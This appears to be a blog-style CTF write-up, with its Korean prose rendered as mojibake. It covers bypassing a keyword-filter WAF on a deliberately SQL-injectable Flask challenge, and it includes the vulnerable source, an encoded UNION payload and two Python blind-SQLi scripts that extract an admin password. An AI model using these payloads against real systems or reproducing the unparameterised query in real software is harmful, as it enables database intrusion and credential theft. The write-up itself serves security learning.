[2025-07-17] SQL injection Bypass WAF advanced

๐Ÿฆฅ ๋ณธ๋ฌธ

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', 
            '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data.lower():
            return True

    return False

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template

if __name__ == '__main__':
    app.run(host='0.0.0.0')

์ด์ „์— ํ–ˆ๋˜ ๋ฌธ์ œ์™€ ๋น„์Šทํ•˜์ง€๋งŒ ํ•„ํ„ฐ๋ง์ด ์ถ”๊ฐ€๋˜๊ณ  ๋Œ€์†Œ๋ฌธ์ž ํ˜ผ์šฉ๋„ ํ•„ํ„ฐ๋ง์ด ์ถ”๊ฐ€๋๋‹ค.

ํ•˜์ง€๋งŒ ย  ๋‚˜ &&๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์—ฐ์‚ฐ์ž ํ•„ํ„ฐ๋ง์€ ์—†๋‹ค

ํ˜น์‹œ ๋ชฐ๋ผ์„œ ์ด์ „ ์ •๋‹ต์—์„œ ์‚ฌ์šฉํ–ˆ๋˜ ์ฝ”๋“œ๋ฅผ ๋ชจ๋‘ ์•„์Šคํ‚ค ์ฝ”๋“œ๋กœ ๋ฐ”๊ฟจ๋‹ค.

'%75%6E%69%6F%6E%09%73%65%6C%65%63%74%09null,upw,null%09%66%72%6F%6D%09user%09where%09uid=\"%61%64%6D%69%6E\"%23

์—๋Ÿฌ๊ฐ€ ๋‚˜์™”๋‹ค

ํ’€์ด

  1. ์—ฐ์‚ฐ์ž ย  ์™€ &&์„ ํ†ตํ•ด ์—ฐ์‚ฐ์ž ์šฐํšŒ๋ฅผ ํ•œ๋‹ค.
  2. length() ๋ฉ”์†Œ๋“œ๋ฅผ ํ†ตํ•ด upw์˜ ๊ธธ์ด๋ฅผ ๊ตฌํ•œ๋‹ค.

     import requests
        
     url = "http://host8.dreamhack.games:16356/"
        
     for length in range(1, 100):  # ๊ธธ์ด 1~99๊นŒ์ง€ ์‹œ๋„
         payload = f"'||uid=reverse('nimda')&&char_length(upw)={length}#"
         params = {"uid": payload}
         response = requests.get(url, params=params)
            
         if "admin" in response.text:
             print(f"[+] Password length is {length}")
             break
    

    ์œ„์˜ ๊ฒฐ๊ณผ๋ฅผ ํ†ตํ•ด length๊ฐ€ 44์ž„์„ ์•Œ์•˜๋‹ค.

  3. ๊ธธ์ด๋ฅผ ๊ตฌํ•œ ๊ฒƒ์„ ๋ฐ”ํƒ•์œผ๋กœ substring()์„ ํ†ตํ•ด Blind SQLi๋ฅผ ํ•œ๋‹ค

     import requests
     import string
        
     url = "http://host8.dreamhack.games:16356/"
     charset = string.ascii_letters + string.digits  # ์•ŒํŒŒ๋ฒณ + ์ˆซ์ž
     password = ""
        
     for i in range(1, 45):  # upw ๊ธธ์ด๊ฐ€ 44๋‹ˆ๊นŒ 1~44๊นŒ์ง€
         for ch in charset:
             payload = f"'||uid=reverse('nimda')&&substring(upw,{i},1)='{ch}'#"
             params = {"uid": payload}
             response = requests.get(url, params=params)
                
             if "admin" in response.text:
                 password += ch
                 print(f"[+] Found character {i}: {ch} โ†’ {password}")
                 break
    

Categories:

Updated:

Leave a comment